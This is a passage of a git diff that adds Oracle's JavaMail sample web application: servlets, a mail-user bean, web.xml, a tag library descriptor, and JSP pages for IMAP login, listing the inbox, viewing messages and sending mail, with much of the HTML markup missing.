URL. + */ +public class FilterServlet extends HttpServlet { + + /** + * This method handles the "POST" submission from two forms: the + * login form and the message compose form. + */ + public void doPost(HttpServletRequest request, + HttpServletResponse response) + throws IOException, ServletException { + + String servletPath = request.getServletPath(); + servletPath = servletPath.concat(".jsp"); + + getServletConfig().getServletContext(). + getRequestDispatcher("/" + servletPath).forward(request, response); + } + + /** + * This method handles the GET requests from the client. + */ + public void doGet(HttpServletRequest request, + HttpServletResponse response) + throws IOException, ServletException { + + // check to be sure we're still logged in + // before forwarding the request. + HttpSession session = request.getSession(); + MailUserBean mailuser = (MailUserBean)session.getAttribute("mailuser"); + String servletPath = request.getServletPath(); + servletPath = servletPath.concat(".jsp"); + + if (mailuser.isLoggedIn()) + getServletConfig().getServletContext(). + getRequestDispatcher("/" + servletPath). + forward(request, response); + else + getServletConfig().getServletContext(). + getRequestDispatcher("/index.html"). + forward(request, response); + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/MailUserBean.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/MailUserBean.java new file mode 100644 index 0000000..1fcfdd6 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/MailUserBean.java @@ -0,0 +1,210 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.util.*; +import javax.mail.*; +import javax.naming.*; + +/** + * This JavaBean is used to store mail user information. + */ +public class MailUserBean { + private Folder folder; + private String hostname; + private String username; + private String password; + private Session session; + private Store store; + private URLName url; + private String protocol = "imap"; + private String mbox = "INBOX"; + + public MailUserBean(){} + + /** + * Returns the javax.mail.Folder object. + */ + public Folder getFolder() { + return folder; + } + + /** + * Returns the number of messages in the folder. + */ + public int getMessageCount() throws MessagingException { + return folder.getMessageCount(); + } + + /** + * hostname getter method. + */ + public String getHostname() { + return hostname; + } + + /** + * hostname setter method. + */ + public void setHostname(String hostname) { + this.hostname = hostname; + } + + /** + * username getter method. + */ + public String getUsername() { + return username; + } + + /** + * username setter method. + */ + public void setUsername(String username) { + this.username = username; + } + + /** + * password getter method. + */ + public String getPassword() { + return password; + } + + /** + * password setter method. + */ + public void setPassword(String password) { + this.password = password; + } + + /** + * session getter method. + */ + public Session getSession() { + return session; + } + + /** + * session setter method. + */ + public void setSession(Session session) { + this.session = session; + } + + /** + * store getter method. + */ + public Store getStore() { + return store; + } + + /** + * store setter method. + */ + public void setStore(Store store) { + this.store = store; + } + + /** + * url getter method. + */ + public URLName getUrl() { + return url; + } + + /** + * Method for checking if the user is logged in. + */ + public boolean isLoggedIn() { + return store.isConnected(); + } + + /** + * Method used to login to the mail host. + */ + public void login() throws Exception { + url = new URLName(protocol, getHostname(), -1, mbox, + getUsername(), getPassword()); + /* + * First, try to get the session from JNDI, + * as would be done under J2EE. + */ + try { + InitialContext ic = new InitialContext(); + Context ctx = (Context)ic.lookup("java:comp/env"); + session = (Session)ctx.lookup("MySession"); + } catch (Exception ex) { + // ignore it + } + + // if JNDI fails, try the old way that should work everywhere + if (session == null) { + Properties props = null; + try { + props = System.getProperties(); + } catch (SecurityException sex) { + props = new Properties(); + } + session = Session.getInstance(props, null); + } + store = session.getStore(url); + store.connect(); + folder = store.getFolder(url); + + folder.open(Folder.READ_WRITE); + } + + /** + * Method used to login to the mail host. + */ + public void login(String hostname, String username, String password) + throws Exception { + + this.hostname = hostname; + this.username = username; + this.password = password; + + login(); + } + + /** + * Method used to logout from the mail host. + */ + public void logout() throws MessagingException { + folder.close(false); + store.close(); + store = null; + session = null; + } +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/WEB-INF/web.xml b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/WEB-INF/web.xml new file mode 100644 index 0000000..088ab66 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/WEB-INF/web.xml @@ -0,0 +1,87 @@ + + + + + JspDemo + no description + + FilterServlet + FilterServlet + no description + demo.FilterServlet + + + AttachmentServlet + AttachmentServlet + no description + demo.AttachmentServlet + + + FilterServlet + /compose + + + FilterServlet + /errordetails + + + FilterServlet + /login + + + FilterServlet + /logout + + + FilterServlet + /send + + + FilterServlet + /messageheaders + + + FilterServlet + /messagecontent + + + AttachmentServlet + /attachment + + + MySession + javax.mail.Session + Container + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/compose.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/compose.jsp new file mode 100644 index 0000000..9ba0dc1 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/compose.jsp @@ -0,0 +1,86 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" %> +<%@ page errorPage="errorpage.jsp" %> + + + + JavaMail compose + + + +
+ +

+ +JavaMail Compose Message +

+ + + + + + + + + + + + + + + + +
+

+To:

+<% if (request.getParameter("to") != null) { %> +" size="30"> +<% } else { %> + +<% } %> + + (separate addresses with commas)

+From:

+ + + (separate addresses with commas)

+Subject:

+
 
  + +
+

+ + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errordetails.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errordetails.jsp new file mode 100644 index 0000000..cb1418b --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errordetails.jsp @@ -0,0 +1,43 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page isErrorPage="true" %> + + +JavaMail errordetails + + +<%= session.getValue("details") %> + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errorpage.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errorpage.jsp new file mode 100644 index 0000000..685b88e --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/errorpage.jsp @@ -0,0 +1,47 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page isErrorPage="true" %> + + +JavaMail errorpage + + +
+<% session.putValue("details", exception.toString()); %> +

An error occured while attempting to perform the operation you requested. +

+ + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/folders.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/folders.jsp new file mode 100644 index 0000000..c5c40f2 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/folders.jsp @@ -0,0 +1,66 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" import="javax.mail.*, demo.MailUserBean" %> +<%@ page errorPage="errorpage.jsp" %> + + + + + JavaMail folders + + + + +
+ +Welcome to JavaMail!
+ + +
+
+ + +
+ +
+ +FolderName + +Messages
+Inbox +<%= mailuser.getMessageCount() %> +
+ + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/index.html b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/index.html new file mode 100644 index 0000000..7884740 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/index.html @@ -0,0 +1,114 @@ + + + + + + + JavaMail + + + + + +

Welcome to JavaMail

+ +

HTML Email Reader Demo

+
+

+ + + + + + + + + + + + + +
+

IMAP Hostname: +

+

Username: +

+

Password: +

+

+
+

+


+

+

Overview:

+ + +THIS IS A DEMO!!! Please see the webapp.README.txt +file for information on how to +compile and run the web application.

+This demo illustrates the use of JavaMail APIs in a 3-tiered web +application. It allows the user to login to an +IMAP store, list all the messages in the INBOX folder, view +selected messages, compose and send a message, and logout. +
+ +

Features:

+ +
    +
  • HTML access to your IMAP mailbox +
  • Proxy-able anywhere HTTP can be proxied +
  • Easy to use +
  • Uses web browser's content handling capabilities +
+ +

Limitations:

+ +
    +
  • Only INBOX support (no user folders) +
  • Can't delete, copy, move, print, save, forward, reply to, search in + messages --
    + but it could be done
    +
  • Doesn't check for new messages (have to log out and log back it) +
+ +

+


+

+ +

Feedback to javamail_ww@oracle.com +

+ + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/login.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/login.jsp new file mode 100644 index 0000000..269179a --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/login.jsp @@ -0,0 +1,56 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" import="demo.MailUserBean" %> +<%@ page errorPage="errorpage.jsp" %> + + + + + JavaMail login + + + + +<% + mailuser.login(request.getParameter("hostname"), + request.getParameter("username"), + request.getParameter("password")); + session.setAttribute("folder", mailuser.getFolder()); +%> + + + + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/logout.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/logout.jsp new file mode 100644 index 0000000..24ba3f5 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/logout.jsp @@ -0,0 +1,49 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" import="demo.MailUserBean" %> +<%@ page errorPage="errorpage.jsp" %> + + + + + JavaMail logout + + +<% mailuser.logout(); %> + + +

Logged out OK

click here to login + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messagecontent.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messagecontent.jsp new file mode 100644 index 0000000..a280cd6 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messagecontent.jsp @@ -0,0 +1,117 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" import="demo.MessageInfo, demo.AttachmentInfo" %> +<%@ page errorPage="errorpage.jsp" %> +<%@ taglib uri="http://java.sun.com/products/javamail/demo/webapp" + prefix="javamail" %> + + + + + JavaMail messagecontent + + +" +/> + + +
+Message +in folder /INBOX

+ +<%-- first, display this message's headers --%> +Date: +<%= msginfo.getSentDate() %> +
+<% if (msginfo.hasFrom()) { %> +From: + +<%= msginfo.getFrom() %> + +
+<% } %> + +<% if (msginfo.hasTo()) { %> +To: +<%= msginfo.getTo() %> +
+<% } %> + +<% if (msginfo.hasCc()) { %> +CC: +<%= msginfo.getCc() %> +
+<% } %> + +Subject: +<% if (msginfo.hasSubject()) { %> +<%= msginfo.getSubject() %> +<% } %> +
+

+<%= msginfo.getBody() %>
+
+<% if (msginfo.hasAttachments()) { %> + +


+Attachment Type: +<%= attachment.getAttachmentType() %> +
+<% if (attachment.hasMimeType("text/plain") && + attachment.isInline()){ %> +
+<%= attachment.getContent() %>
+
+<% } else { %> +Filename: +<%= attachment.getFilename() %> +
+Description: +<%= attachment.getDescription() %> +
+ +Display Attachment +<% } %> +
+<% } %> + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messageheaders.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messageheaders.jsp new file mode 100644 index 0000000..18332c7 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/messageheaders.jsp @@ -0,0 +1,103 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" import="demo.MessageInfo" %> +<%@ page errorPage="errorpage.jsp" %> +<%@ taglib uri="http://java.sun.com/products/javamail/demo/webapp" + prefix="javamail" %> + + + + JavaMail messageheaders + + +
+ +
+Folder INBOX

+ + +Logout +Compose + +


+ + + + + + + + +<%-- from --%> + + +<%-- date --%> + +<%-- subject & link --%> + + + +
+ +Sender + +Date + +Subject
+ +<% if (msginfo.hasFrom()) { %> +<%= msginfo.getFrom() %> + +<% } else { %> + +Unknown +<% } %> + + +<%= msginfo.getDate() %> + + + +<% if (msginfo.hasSubject()) { %> +<%= msginfo.getSubject() %> +<% } else { %> +No Subject +<% } %> + +
+ + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/send.jsp b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/send.jsp new file mode 100644 index 0000000..186bfe5 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/docroot/send.jsp @@ -0,0 +1,57 @@ +<%-- + + Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + - Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + - Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + - Neither the name of Oracle nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +--%> + +<%@ page language="java" %> +<%@ page errorPage="errorpage.jsp" %> +<%@ taglib uri="http://java.sun.com/products/javamail/demo/webapp" + prefix="javamail" %> + + + + JavaMail send + + + +" + sender="<%= request.getParameter(\"from\") %>" + subject="<%= request.getParameter(\"subject\") %>" +> +<%= request.getParameter("text") %> + + +

Message sent successfully

+ + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/META-INF/taglib.tld b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/META-INF/taglib.tld new file mode 100644 index 0000000..2e68f2a --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/META-INF/taglib.tld @@ -0,0 +1,151 @@ + + + + + + 1.0 + 1.1 + javamail + http://java.sun.com/products/javamail/demo/webapp + + listattachments + demo.ListAttachmentsTag + demo.ListAttachmentsTEI + JSP + + A listattachments tag + + + id + true + true + + + messageinfo + true + true + + + + listmessages + demo.ListMessagesTag + demo.ListMessagesTEI + JSP + + A listmessages tag + + + id + true + true + + + folder + false + true + + + session + false + true + + + + message + demo.MessageTag + demo.MessageTEI + empty + + A message tag + + + id + true + true + + + folder + false + true + + + session + false + true + + + num + true + true + + + + sendmail + demo.SendTag + JSP + + A sendmail tag + + + host + false + true + + + recipients + true + true + + + sender + true + true + + + subject + false + true + + + + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/AttachmentInfo.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/AttachmentInfo.java new file mode 100644 index 0000000..13b443e --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/taglib/demo/AttachmentInfo.java @@ -0,0 +1,138 @@ +/* + * Copyright (c) 2001-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE 